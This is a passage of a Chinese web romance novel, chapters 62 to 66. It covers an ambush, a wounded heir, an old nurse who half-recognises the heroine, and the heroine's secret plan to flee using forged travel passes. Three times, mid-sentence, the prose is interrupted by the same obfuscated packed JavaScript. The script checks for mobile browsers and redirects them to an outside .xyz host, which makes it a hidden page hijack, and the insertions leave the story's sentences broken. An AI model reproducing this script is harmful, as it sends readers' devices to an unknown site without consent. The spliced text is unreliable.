现在,他们的马车被一群黑衣人围住了。 谢宴之放下帘子,对沈清念道:“躲在这里,不要出来!” 说完就如一道风冲了出去,外面便传来一阵兵刃相接的声音。 沈清念蹲在里面,突然想到菱儿还在外面,她掀开帘子,见菱儿捂着嘴,脚不自觉地抖着。 而谢宴之一息之间,就削掉了两个黑衣人的头。 “菱儿,进来。”沈清念用气声说着,拉着菱儿的胳膊,将她拉了进去。 “小姐!”菱儿的声音颤抖着,眼泪不争气地掉了下来。 她看见外面有好几个黑衣人,刚刚那支箭从她的脖子擦过,差点她就死了。 而此时,谢宴之正和领头的那个黑衣人缠斗。 二人武功不相上下,一时难以分出胜负。 而元青在这边,也艰难地对付两个黑衣人,顾不了马车这头。 沈清念刚刚探出一小半身子,还是被那领头的黑衣人瞧见了。 虽未看清马车上女子的容貌,但那女子肤色白皙,手指纤细,一看就是靖南侯府的女眷。 “马车上有女眷!”领头的黑衣人吼了一声,另一名黑衣人会意,不再与元青缠斗,拿着剑,直奔马车而去。 听到黑衣人的声音,沈清念心道不好。 他们要抓她来威胁谢宴之! 她一边抱着菱儿,一边观察着马车四周,不知那人准备从哪个方向攻进来。 她死死盯着,后背已经汗湿。 突然,马车车顶从中间被人劈开,一道剑影就要落下,沈清念一把将菱儿推了出来。 眼见那寒光闪闪的剑就要劈到头上,她来不及逃开,只能认命闭上眼睛。 死就死吧,下一世,她再也不来这京城了。 正想着,一滴温热滴落在她的脸上。 想像中的疼痛并没有传来。沈清念睁开眼,见一道高大的身影挡在身前。 谢宴之手中的剑正中那黑衣人的脖颈,血不停地滴下,牵着那黑衣人已经没了气息。 “你没事吧?”谢宴之转过身来,用手擦掉了沈清念脸上的血迹。 沈清念这才发现,谢宴之的左肩有一道剑伤。 刚刚谢宴之看到那黑衣人扑向马车,他一时分神,领头的黑衣人趁机刺了他肩膀一剑。 “你…没事吧?”沈清念看到他为了救他受了伤,心里有些说不出的情绪。 “无妨!”说着,又出去跟剩下的黑衣人对打起来。 他和元青一起拿下了最后一个黑衣人。 谢宴之用剑指着面前跪着的黑衣人:“说,谁派你们来的?” 黑衣人没有说话,只是一双眼睛看着他,下一秒他就口吐鲜血,倒地身亡了。 “爷,没有气息了。”元青伸手探了探对方的鼻息。 谢宴之眯着眼,想着他们今日回府改道的事,冷冷道:“看来,有些人已经按耐不住了。” “走,去春畅园。”谢宴之上了马车。 菱儿此刻手脚还有些发软。 她从没见过这样的场面,此刻地上横七竖八地躺着好几具尸体。 又听得大公子说去春畅园,问了旁边有些狼狈的元青:“春畅园是什么地方?” “是爷在外面的一处宅子。”元青解释道。 他们这副样子,自然是不能回靖南侯府的,以免吓着府上的人。 马车里,沈清念掏出自己的绣帕帮谢宴之按着伤口止血,看着血还是汨汨往外流,她皱了皱眉。 谢宴之伸出手指抚了抚她的眉头:“怎么?担心我?” 第六十二章 他还有心思想这些 “表哥是为了救我才受的伤,我担心表哥的伤势也是应该的。”沈清念淡淡道。 “何况,这血到现在还没有止住。” 沈清念自顾自地说着,眸子里隐隐透着些担忧。 谢宴之看到她长长的睫毛,忽闪忽闪地在她精致的脸上投一片剪影。 樱桃般的小嘴一张一合,时而露出里面的小舌。 谢宴之喉头滚了滚,凑上去轻啄了一下那抹香甜软糯。 “你!”沈清念羞红了脸,都这时候了,他还有心思想这些。 谢宴之只是看着她,嘴角扬了扬。 “爷!到了!”元青停下了马车,伸手为他们掀开了帘子。 沈清念抬头,看到匾额上那几个烫金的大字:春畅园。” 两个丫头忙出来将他们迎了进去。 “快去叫周大夫。”元青吩咐道,将谢宴之扶到了屋子里。 另一名丫鬟则带着沈清念和菱儿去别的屋子梳洗一下。 毕竟沈清念的衣裳上还有点点血迹。 周大夫很快过来,掀开衣裳一看,便知那伤口是剑伤。 且伤口处的皮肉外翻着,看着有些骇人。 元青在一旁自责,“都怪我没有保护好爷…” 但爷当时若不是因为清姑娘分了心,以爷的身手,是根本不会受伤的。 随着周大夫往伤口上上药,谢宴之的额间渗出来细细密密的汗,手也不禁紧握成拳。 “爷,你下次可不能这么冒险了,有什么事,让我挡在前面。” 元青看着谢宴之的模样,有些心疼。 但谢宴之心里还有些庆幸,幸好当时护住了她。 要是伤的是沈清念,她一个女子,怕是承受不住这么重的剑伤。 谢宴之仔细回想了一下,那黑衣人人下手也太狠了,看来幕后之人没打算留下活口。 不过那狠辣的招数,他似曾相识。 元青道:“爷,究竟是什么人敢让人来刺杀您?” 谢宴之冷冷道:“不过是有些老狐狸坐不住了。” 此时,在广德侯府的书房里,一声茶杯摔碎的声音传来。 跪在地上的人低着头,手脚有些微微发抖。 陆元章坐在梨花木椅子上,又操起一个茶杯朝地上的人扔过去。 “废物!一群废物!”陆元章脖子上的青筋凸起,显然是气得不轻。 地上那人的额头上瞬间渗出了血,但他不敢去管伤口,赶紧求饶:“二爷饶命,谢世子并不知我们是二爷派去的人。” “派出去的手下都都被他杀了,余下一人也是服毒自尽的,没有开口说过一句话。” 陆元章听到这话,心里的怒气才略微消散了一些。 但他这次已经打草惊蛇,日后还想对付谢宴之就难了。 都怪谢宴之,一个黄口小儿,竟有本事顺藤摸瓜,查到了他的头上。 还有上次谢敏的事,对他们靖南侯府来讲,是那么大的一件丑事。 事后也没见谢宴之有任何动静。 别说上书弹劾他,连个说法都没上门讨过。 依着他对谢宴之的了解,谢宴之肯定有后招。 想到这儿,他倒是对谢宴之年纪轻轻,就有如此城府佩服了起来。 “据岭南那边的消息,世子也还没有找到那个账本。” 地上那人又说了一句。 陆元章站起身来,走到地上那人面前,居高临下的睨着他:“早点找出账本,不然……” 地上的人望着陆元章那如毒蛇一般的眼神,低着头,恭敬道:“小人定早日找到账本!” “滚!”陆元章甩了甩袖子,一脸的不耐烦。 那人才连滚带爬地退出了书房。 春畅园这边,谢宴之包刚包扎好了伤口。 就听见一个熟悉的声音:“宴哥儿!你来啦。” 一名老妇人拄着拐进来了,看向谢宴之的眼里充满了慈祥。 “麽麽!”谢宴之赶紧拉上衣服,遮住了伤口,起身去扶花麽麽坐下。 花麽麽是母亲杨氏的奶妈,一直照顾着谢宴之。 杨氏临死前怕自己没了以后,谢宴之还那样小,没个可靠的人在身边照顾,她实在放心不下。 便苦苦哀求谢松衍让花麽麽跟在谢宴之身边照顾他。 所以,在谢宴之心里,花麽麽是像亲人一般的存在,他幼时常常听花麽麽讲他的母亲的事,一直陪着他,在这侯府里度过了那难熬的几年。 现在花麽麽年纪大了,又无儿无女,谢宴之就将她安置在这春畅园,请了婆子丫鬟照顾,颐养天年。 “宴哥儿,我给你留了些水晶糕。”说着,花麽麽便从袖子里拿出一个油纸包。 一口一口给谢宴之喂着糕点。 沈清念这边也换好了衣裳,想着谢宴之毕竟救了自己一命,便过来看看他。 一进门,就看见个老太太与谢宴之坐在一起,正拿着一块糕点喂他吃。 那老太太头上戴着碧玉抹额,身上的衣裳料子极好,刺绣精致,却不奢华,一看就是个内敛又有身份的。 那眉眼也生得慈祥,莫名让她觉着有些亲切。 而谢宴之竟一口一口,乖乖地吃着她递过来的糕点。 那画面好像祖母在喂自己的孙儿一般和谐。 沈清念觉着有些稀奇,谢宴之竟还有这样温顺的时候。 他此刻像极了从前邻居家大狼狗,享受主人抚摸一般,开心又满足。 不知这位老太太是何人。 见沈清念进来,谢宴之转过头来温柔地看着她:“你来了。” 花麽麽也顺着谢宴之的目光看过去,只是看了一眼,手中的水晶糕便掉落在地。 她的眼眶一下就泛起了红,张口喊了一句:“婉云小姐!” 沈清念有些惊讶。婉云小姐!她母亲就叫苏婉云。 这位老太太是在叫她母亲的名字吗? 她心里升起了一丝不好的预感。 谢宴之看了一眼沈清念,见她眼里也是满满的不解。 元青则在一旁咳了咳道:“麽麽,这是清姑娘,不是什么婉云小姐!” 花麽麽不信,揉了揉自己的眼睛,又拄着拐,向前走了两步,仔细瞧了瞧。 沈清念也屏住了呼吸,任由花麽麽盯着,余光瞥向谢宴之,见他一直看着她们,眼里有了一丝探究。 她心里暗自祈求这么麽麽不要认出她来。 花麽麽又颤颤巍巍伸出手在她的眼角摸了摸,最后摇摇头,自言自语道:“哦,原来不是。” 婉云小姐左边眼角下有一颗红痣,而她家的大小姐杨慧心右边眼角下也有一颗红痣。 所以二人成了手帕交。 眼前这位姑娘虽没有,不过确实和婉云小姐很相像。 她又想到了什么,对着谢宴之道:“宴哥儿,与你定亲的女娃子你娶回来了没?” 第六十三章 他大半夜的能有什么事要她做? 沈清念刚放下了的心又升到了嗓子眼儿。 谢宴之眉头紧蹙,什么定亲的女娃子?他从没定过亲。 如果说有的话,那也是在他的梦里,但花麽麽怎么会知晓? “麽麽,什么女娃子?”谢宴之只当是配合她,装作严肃地问道。 “老爷给你定的亲事呀,就在咱们杨家边上,那家的老爷姓什么来着?” 花麽麽摸了摸自己的头,认真思索起来。 沈清念倒是想起来,母亲曾说过她的手帕交叫杨慧心,两家自外祖那一代关系就一直很好。 由于两家的外祖都只有一个女儿,想做亲家没做成,这才又给她和谢宴之定了亲事。 原以为这事除了菱儿,母亲还有她知道外,再没有旁人知道了。 没想到记得这件事的,还有眼前这位麽麽。 花麽麽边思索边念叨:“瓜子儿糖,那小娘子爱吃瓜子儿糖。” 沈清念听到瓜子儿糖,她又仔细看了看这位麽麽。 她终于想起来了,从前母亲抱她回外祖家时,见过一位麽麽,喊她的名字就会给她一颗松子儿糖。 可那麽麽不是叫发麽麽吗? 沈清念小声地问了元青一句:“这位麽麽姓什么?” “这位麽麽姓花,我们都叫她花麽麽。”元青答道。 花麽麽,发麽麽。 沈清念琢磨了一下,那时她才**个月,正是牙牙学语的时候,难道是她是叫错了? “你那小娘子从前还老爱喊我发麽麽的,声音软软糯糯的,好听着呢。” 花麽麽说道这些事,眼角含笑,更显得人慈祥。 谢宴之只当她记不清事情,胡乱编的,根本不在意,只是淡淡的看着她。 “花麽麽,爷那小娘子姓甚名谁啊?长得是何模样?”花麽麽这说得有模有样的,勾起了元青的好奇心。 他跟着爷这么久,还从没听说过自家爷有自幼定亲这一说。 “叫什么名字呢?模样?”花麽麽喃喃的,又似在思索。 菱儿则在身后,悄悄用手抓紧了沈清念的衣角。 她紧张地盯着那麽麽,看着花麽麽似要张嘴,她紧张地屏住了呼吸。 生怕她说出沈清念的名字来。 “叫什么呢?叫……”花麽麽仍是自言自语地念着。 沈清念总觉得这位花麽麽有些奇怪,她好像记得,又好像不记得。 可她会不会正好就记得她的名字呢?她也不免有些紧张。 谢宴之则端起旁边的茶碗,凑到了嘴边,毫不在意花麽麽能不能想起来,反正他也没定过亲。 花麽麽爱闹,就随她吧。 不过他眼神撇向沈清念,见她一脸认真的模样,不由地扬了扬嘴角。 她倒是挺在意他有没有定亲! 元青看花麽麽半天没有说出来,心里也不抱有希望了。 得了,自己明知花麽麽不记事,还相信她说的。 只能怪自己蠢。 “是她……”花麽麽突然出声,抬起手指向一旁的沈清念。 谢宴之听见声音,顺着花麽麽的手看过去,发现花麽麽指的正是沈清念。 这还真是有些巧了!谢宴之盯着沈清念,又自顾自地喝起茶来。 他正好要纳她,花麽麽就说她是那定亲的小娘子。 而沈清念立在原地不敢动,脸色有些发白。 她微微侧过头,看到谢宴之看她的眼神里有一丝戏谑。 好像他已经明了一切,只是在那里看她是如何骗他的。 沈清念攥紧了手指。 不知谢宴之知道她在骗他,又要怎么惩罚她。 “她?”众人皆是一惊。 元青睁大了眼睛,有些过于惊讶。 他从没想到爷自幼会有一门亲事,这定亲的对象,还是清姑娘! 菱儿则捂住了嘴,害怕自己惊慌出声,出卖了小姐。 “花麽麽,当真是清姑娘?”元青再次出声,他还是无法抑制住自己的惊讶。 “是…像她那样的,眼睛又大又圆,像她一样的好看。” 花麽麽又笑眯眯地说了这句。 “嗨,我就说这世上怎么会有这样凑巧的事。” 元青不由地尬笑了一下。 他再次感受到花麽麽的魔力。 沈清念神色一松,乖巧地冲花麽麽笑了笑。 “哎呀”花麽麽忽然叫起来。 “我忘了去接大小姐下学了。”说着就转身要出去,身边的丫鬟忙伸手扶着她往门外走了。 沈清念有些疑惑,元青道:“清姑娘,花麽麽年纪大了,常常不知如今是什么时候,有时候有些痴傻。” 难怪! 那花麽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312926|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麽的话,谢宴之到底有没有相信? 沈清念在旁边的椅子坐下,小声问了句:“表哥,你真有一门亲事?” 谢宴之抬了抬眼皮,他除了在梦中梦到过自己的亲事外,这些年没听任何人说起过他有亲事。 “有。” 听到这声回答,沈清念睁大了眼睛看了谢宴之一眼。 “你我之事不算亲事?” 谢宴之见沈清念那吃惊的模样,还以为她是吃醋了,存了心思要逗逗她。 沈清念对谢宴一贯这样逗她有些气恼,又无可奈何。 每当她认真探究时,他就是这样调弄她,非要弄得她窘迫着急。 沈清念撇撇嘴,抿了口茶,问出了一直想问的事。 “表哥,今日那些黑衣人是什么人?” 她不知是谁那样大胆,敢当街行刺世子,还差点害了她和菱儿。 “老对手了,今日的事,别说出去。”谢宴之眼神里散发着寒光。 陆元璋这是在找死! 既然他迫不及待送上门来,就算没有账本,他也能弄死他。 “这段时间你少出府。” 可她明日还得去拿路引呢。 “走吧,回府。”谢宴之的声音又传来。 他们离开春畅园的时候,沈清念望了一眼花麽麽的屋子。 她在心里喊了一声:“发麽麽。” 那个给她吃瓜子儿糖的麽麽,希望她永远不要想起她来。 日暮西沉,一轮圆月悄悄爬上树梢。 靖南侯府,浅月居内。 沈清念进了屋子关上门,转过身就见谢宴之坐在了床上,吓了一跳。 “你……表哥,你怎么来了?” 他都受伤了,还不消停,夜里还跑来找她做什么。 谢宴之直直盯着她,薄唇微启:“有件事要你做。” “什么事?”沈清念轻声问道。 谢宴之没说话,只是用锐利的眸子看着她。 此时沈清念刚刚梳洗完毕,只着一件单薄的里衣。 见谢宴之的目光打量着她,她的心里咯噔一下。 他大半夜的能有什么事要她做? 她的心里百转千回之时,又见谢宴之正在脱外袍。 她忽然想起了些什么,脸有些微微发烫,指尖微微蜷起。 他要她做的事,是她想的那样吗? 第六十四章 今晚我不方便,你不要再动了 看着沈清念站得远远的,不愿靠近的样子,谢宴之有些不悦:“过来!” 他的剑伤比想象中严重,脱衣服时会扯到那伤口。 可沈清念还立在原地,还不快给他更衣! 他不禁皱了眉,她从前在乡下长大,规矩上比起京城贵女们还是要差一些。 看来她进府前,要找两个麽麽来教教她规矩了。 至少得教会她如何帮自己的夫君更衣! 沈清念看谢宴之的脸色渐渐沉了下去。 他身上的衣服已经脱了一些,露出里面紧实的肌肉,就那样坐在那里,直勾勾看着她。 像极了勾栏院里的女子,半露香肩在等着恩客宠幸。 只不过勾栏院里的女子姿态妩媚,而他毫无媚色不说,整张脸都写着他此时很不愉悦! 沈清念预感自己这位“恩客”过去,可能会遭遇不测。 “还不过来!”谢宴之有些不耐烦,也不再试着脱外衣,就坐在床上等着沈清念自己过来。 沈清念试着说服自己的腿,可它们还是一步都不肯往前移动。 谢宴之见她竟然还站在那里,一点都没有想过来帮他的意思,还一脸的抗拒! 一股难言的心绪涌上心头。 他又见她的手指蜷起,才想起来她紧张了,害怕了,都会有这样的小动作。 她总是像兔子一般,一逗就羞,一吓就哭。 “过来帮我上药。”谢宴之放缓了些语气,省得又吓到她。 原来谢宴之回了观澜居后,发现伤口又渗了血。 元青说要去请周大夫,却被他拦住了。 不知为何,今夜他就是格外想念她身上的甜香味,想念她身上的柔软。 虽然天色已晚,沈清念可能已经睡下了,他还是来了浅月居。 沈清念的神情缓了缓,原来是上药,她还以为他又要…… 再看他都伤成那样了,还能对她做什么。 沈清念这才挪着步子过去,立在床边道:“可我这里没有药和布条儿,我去表哥院子里拿点儿来。” “我带了。”谢宴之拍了拍旁边的小包袱,不再给她逃走的借口。 一把将她拉住,让她坐在他旁边。 熟悉的体香吸入他的鼻中,令他觉着神清气爽,心里的不悦都消散了。 “怎么总是这么磨蹭?”谢宴之指了指他的伤口。 布条儿都染血了,难道她看不见吗? 沈清念这才看到那一团红色。 她站在他身前,轻轻将他肩上那染血的布条解开,看到那伤口皮肉外翻,混着嫣红的血,一看就很疼。 他这伤口竟然这样严重! 沈清念看着谢宴之棱角分明的侧脸,心下有些说不清的感觉。 这样矜贵的人物,竟然为救她这样微不足道的人而受伤。 算了,就好好给他上药吧。 反正这伤也是因为她才受的。 她伸出手,拿起装着药粉的瓷瓶,一点点轻轻地往那伤口上撒。 那药粉撒上去,谢宴之疼得青筋凸起,手紧紧搂住沈清念的腰,头埋在她胸前。 沈清念低头 见谢宴之眉头紧皱,想着应是伤口太疼了,她便用嘴对着那伤口轻轻吹了吹气。 小时候她摔破了皮,上药的时候怕疼,母亲就是这样一边上药一边吹气,就没那么疼了。 一阵酥酥麻麻的感觉传来,谢宴之觉得伤口真的没那么疼了。 他抬头看着沈清念温柔的侧脸。 见她正浅浅皱着眉,微撅着嘴唇替他轻轻吹气,心下一片柔软,一股暖流流过心底。 “好了,表哥。” 沈清念小心地将布条裹好,抬头就撞进谢宴之漆黑的眸子里。 暴露在谢宴之充满情欲的目光里,沈清念浑身不自在,扭了扭腰,要谢宴之放开她。 “你不替我穿上衣服?” “难道你还想看?”谢宴之语气有些轻佻。 她才不想看! 沈清念伸出手,将他松松垮垮的衣裳拉起来。 她长长的发丝轻轻扫在他的手背上,痒痒的,一下就唤醒了身体的某些躁动。 他放在她腰上的手加重了几分力气,将沈清念抱得更紧。 沈清念一时不察,和他一起倒在了床上。 感受到谢宴之越来越粗重的呼吸,沈清念双手紧紧揪住谢宴之的衣襟,也不敢动弹。 因为她一动,谢宴之就会将她往前按一分,紧紧贴上他硬硬的胸膛,将她胸前的柔软挤得生疼。 “真想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312927|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快些将你纳进门。”谢宴之低沉道,手也在她的腰上摩挲起来。 难受! 比他想象中难受得多! 沈清念的心里砰砰直跳,还有几日了,这还不够快吗? 见谢宴之一直不放开她,也不知他还要抱多久,她快承受不住了,只想从他身上起来。 沈清念试着撑起身子,出声提醒道:“夜深了,表哥受了伤,要早点休息。” “好。” 谢宴之站起身来,难得温柔地替沈清念放下来帐子:“睡吧。” 又转身替她熄了灯后,朝窗户走去。 听到窗户关上的声音后,沈清念才躺了下来,闭上了眼睛。 今日发生了太多事,她也确实有些疲惫。 她忽然觉得有一阵风吹开了帐子。 还没来得及反应,就发现身边躺了一个人。 “表哥!你不是走了吗?” 沈清念全身紧绷起来,缩到角落里,离谢宴之远远的。 “我只是起身去关了个窗户。” “天凉,怕你着凉。” 谢宴之说完,顾不得肩上的伤口,一把扯过沈清念拥在怀里。 “今晚我要留下来。” 沈清念有些无语,她没想到谢宴之今晚这么过分,竟然要留下来过夜。 她心里满是不愿,又不敢大声驱赶他,怕将菱儿给吵醒。 这要是被菱儿撞见,她还怎么见人? 他到底知不知道这样做对一个女子来讲,意味着什么? 谢宴之可不管那些。 今日见到花麽麽,又让他想起了自己的母亲,想起那些温暖的日子。 所以今夜他不想一个人睡,他要抱着沈清念,要她陪着他。 左右过几日,也就名正言顺了。 沈清念有些气恼,她是身份低微,只能任他这样子欺负,可她不甘心。 凭什么! 她一咬牙,在谢宴之怀里挣扎起来,拿脚踢他,想要把他赶回观澜居去。 谢宴之按住了她的脚,又凑到沈清念的耳边说了几个字。 沈清念愣了一下,顿时又觉羞窘起来。 他竟然在她耳边说:“今晚我不方便,你不要再动了。” 谁要他方便了? 他最好永远都不要方便! 第六十五章 和我睡一起,你会很乖的 沈清念还是有些忐忑,这样总归是于理不合。 “和我睡一起不习惯?” 谢宴之察觉到怀里的人绷着身子,有些紧张。 他的嘴角微微扬起,似哄着她道:“等祖母回来,我就去禀明她,让她为你按贵妾的排场操办。” 想用主母的排场也不行,沈清念的家世配不上。 这段时日,老夫人去了万宝寺斋戒,为侯府祈福,一同去的还有几房的媳妇。 斋戒需要半月天,还有三日她们才会回来。 是矣,府上还没其他人知道谢宴之要纳沈清念。 “不会亏待你。”谢宴之捏着她的下巴,语气里带着一丝上位者的高傲。 沈清念撇了撇嘴,不用看,她也知道他说这话时,那一副高高在上的,施舍给她一个大恩的神情。 进门的时候再风光又怎样,还不是给人做妾的。 她根本不打算当他的妾室,更不愿府上的人知道。 但她现在直接说出来,显然不是明智之举,只能慢慢同他周旋。 “表哥,不急。” “不急?”谢宴之搂着她的手明显加重了力气。 他很急,他想夜夜都这样搂着她睡,嗅着她身上那令他心神安宁的香气和软软酥酥的温暖。 “我不用风光操办。” “我只要一顶小轿,从后门进来就行,一切从简,费不了多少功夫。” 排场大了,跟着的人太多,她哪有机会和顾灵玉换花轿? 谢宴之听她这样说,明明她是那么知足,但他心里隐隐有一些不舒服。 这样未免也太委屈她了。 毕竟沈清念是他靖南侯府世子的第一个女人,他是可以给她更好的。 “这样你不觉得委屈吗?”谢宴之问道。 “不委屈,以后有了主母,万一给她知道我进门时排场大,定会不喜我。” “只有主母喜欢我,我才可以长久地陪在表哥身侧。” 谢宴之有些不屑,怀里的人还是这样笨笨的。 要什么主母喜欢她,他喜欢她就行了。 但她说的没错,日后这靖南侯府肯定会有一个祖母。 妻妾不能不合。 “你倒是懂事。”谢宴之凑上去亲了一下沈清念的脸。 从前总以为她是个喜欢攀龙附凤的心机女子。 看来是误会她了。 “也好,那就等日后你为我生了孩儿,纳你做侧室时,再给你多一些补偿。” “我也会挑选一个端庄贤惠,知书达理能容人的主母。” 沈清念故作惊喜的模样,甜甜道:“真的?多谢表哥!” 沈清念的话令谢宴之很受用,他不由地用下巴抵着她的头,轻轻在她头上落下一吻。 沈清念翻身面向他,“表哥,我后日想去万宝寺祈个福,求我们的亲事顺遂。” 她与顾灵玉约好了后日在万宝寺见面,到时给她路引。 谢宴之听到这话,心里愈发喜欢她了,没有一丝犹豫道:“嗯,到时候让元青给你安排一辆马车,带上他一起去。” “嗯。”沈清念笑着回道。 她随后又怯怯出声:“表哥,我睡相不好,怕碰到你的伤口,不如我去菱儿那儿挤一挤?” 沈清念还想再挣扎一下,他不走,那她就走。 谢宴之微微挑眉,总觉得沈清念不愿和他睡一起。 更准确地说他好像是被嫌弃了。 睡相不好?他夜里来看过她那么多次。 她整个人安静地躺在被窝里,锦被规规矩矩地盖在身上,一看就十分乖巧,哪里有半分睡相不好的样子。 她这分明是在赶他! 既然她不是好歹,就不要怪他了。 “和我睡一起,你会很乖的。”谢宴之凑到沈清念耳边轻轻道。 不等沈清念反应过来他的话是什么意思,谢宴之就用手在她脖子后点了一下。 她眼前一黑,失去了知觉。 谢宴之看着她的睡颜,凑上去亲了亲:“这下睡相好了。” 随后抱着人,心满意足地睡了。 信阳侯府。 顾灵玉从首饰铺回去以后,一大早就拦住了要去上值的哥哥顾渊。 顾渊看她手上拿着一个盒子,便知她的来意:“妹妹找我何事?” 顾灵玉一听,就挽住顾渊的胳膊,撒娇道:“哥哥,你怎知我有事找你?” 顾渊最是疼爱这个妹妹,也颇为这个妹妹头疼。 他这妹妹性子跋扈嚣张,人又单纯毫无城府。 一大早就拿着个盒子在影壁这里等他,不是找他有事,难道是特意早起来送他上值的? 这个样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312928|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后嫁到别人家里,还指不定要怎么被人算计呢? 顾灵玉又道:“我想让哥哥帮我办两张路引。” 顾渊一听,果然是有事求他。 他有些疑惑,“你好端端的要路引做什么?” 顾灵玉淡淡道:“是帮我的好友府上的一个表小姐办的。” “有人要强行纳她为妾,她不愿意,想带着丫鬟离开京城,去乡下找她青梅竹马的心上人。” “我见她走投无路,求到我这里,我才好心想要帮帮她。” 她又没说谎,沈清念就是这样跟她说的。 况且,这件事办成了,她就是靖南侯府的未来的世子夫人,还帮爹拉拢了宴之表哥。 这可是件光耀门楣的好事。 “真的?”顾渊半信半疑。 “那你将她们信息还有长相给我。” 顾灵玉给了身后的香草一个眼神,香草忙掏出两张纸递了过去。 顾渊看了看纸条上的信息,两名女子扮作男子的模样,也不难看出其中一人面容清秀,姿色上乘,难怪会被人看上。 “这路引要得急,大哥要快些,最好这两日就给我。” 提前把这些都准备好,她才好安心。 “好。”顾渊随口答应。 现在京城对进出的人口管控严格,普通人办路引审批时间长,手续也复杂。 而他负责管理户籍这一块,办路引只是小事一桩。 他将纸条塞到袖子里就去上值了。 在宫门口,顾渊一下马车便碰到了谢宴之,便对着他喊了一声:“宴之表弟,好久不见。” 谢宴之对顾灵玉没什么好印象,但对顾渊印象还是不错的。 他对着顾渊微微颔首:“顾渊表哥。”声音里带着些清冷。 顾渊看着谢宴之,他这位表弟少年成名,颇受皇上器重,就是为人高冷了一些。 也不知他妹妹到底喜欢谢宴之什么?这样的人做夫君,不太合适。 顾渊想起同僚还在等着他说事情,便对着谢宴之道:“宴之表弟,今日事忙,我就先走了,改日再叙。” 说完便转过身去。 只是在他转身时,顾灵玉给他的纸条从袖子里飘落在地。 谢宴之低头,撇了一眼,见那纸上画的样貌有些熟悉,弯着腰捡了起来…… 第六十六章 日后定会和和美美 谢宴之捡起来看了一眼,原来是两名男子,长得眉清目秀,一看就是书生。 只是,这样貌怎么与沈清念有几分相似。 顾渊发觉袖子里的东西掉了,回头见谢宴之手里正握着那两张纸。 他走回去道:“宴之表弟,这是我掉的。” 谢宴之伸出手,将纸张递了过去。 顾渊看着谢宴之,心道这是个帮自家妹妹的好机会。 为了让顾灵玉在谢宴之面前增添些好的印象,他对谢宴之道:“这两人是个可怜的,灵玉可怜这两人,求我帮忙办两张路引。” 顾渊这样一说,谢宴之的刚刚那点疑虑彻底打消了。 顾灵玉很是不喜沈清念,又怎么会帮她呢? 这人只是长得有几分像沈清念的男子罢了。 谢宴之也不知最近是怎么了,总是会想起沈清念,明明今日一早才从浅月居翻窗出来的。 顾渊见谢宴之没有回应,双手拱礼后,便转身离开了。 很快就到了沈清念和顾灵玉约定的日子。 谢宴之提前吩咐了元青,沈清念今日要去万宝寺祈福。 元青一大早就备好了马车以及给菱儿的松子儿,在侯府门前等着。 看着沈清念云鬓柳腰,步态娉婷。 元青不禁感慨,谁能想到从前那么不受爷待见的表小姐,不久后就要成为他的主子了。 “清姑娘请。” 元青端来凳子放在马车前,菱儿又伸手扶着沈清念上了车。 马车很快到了万宝寺。 今天是个吉日,来庙里上香的人很多,不会有人专门注意她。 沈清念在主殿上了香后,又借口要去听主持诵经,往偏殿去了。 可她等了好久,也没见顾灵玉的人。 她心里隐约有些不安。 现在已经不早了,顾灵玉怎么还没来? 难道她反悔了? 或者是路引没办下来? 沈清念那头正担心着,寺庙门口,信阳侯府的马车就缓缓地停在了路边。 一个女子带着帷帽下了车,因下车时裙摆被车架勾住,她狠狠掐了身边的丫头一把。 那丫头紧皱着眉头,不敢吭一声,只是用手抚着刚刚被掐的地方,不用想,那手臂肯定是青紫色的一片。 那做派,不是顾灵玉又能是谁? 顾灵玉下了马车后,带着香草直接到主殿去了。 她在主殿中央的蒲团上跪下,双手拿着几支线香,闭着眼睛,像菩萨许愿。 她平日里可不信这些鬼神。 今日倒是真的带了几分虔诚,看着菩萨那悲天悯人的眼睛。 这几日,她心里又有些期待,又有些不安,偏偏还不能将这些苦恼告诉旁人。 现在正好求求菩萨,保佑她和谢宴之的亲事这次能成。 从前她自知谢宴之不喜她,也知道他不可能娶她。 但现在沈清念给了她希望,哪怕是以沈清念的身份进靖南侯府,哪怕是做妾。 只要能靠近宴之表哥,她也认了。 顾灵玉许好愿后,又郑重地磕了几个头,十分虔诚。 香草过来要帮她插香,顾灵玉摆了摆手,亲自将香插了进去。 香草看顾灵玉那副认真的模样,就知顾灵玉的心愿定与世子有关。 她指着那香道:“小姐,您看您敬上的那香烧得多旺,听说香烧得越旺,许的愿就越容易达成呢。” “您和世子日后,定会和和美美。” 听到香草这样说,顾灵玉原本这几日一直悬着的心,现在总算放下了些,心里甜得像吃了蜜糖一般:“就你嘴甜。” 香草低着头,眉眼含笑,只要小姐不磋磨她,她哄哄她又怎么啦? 就是不知那沈姑娘来了没? 要是敢让自家小姐等她,这个祖宗又不知要怎么拿她撒气! 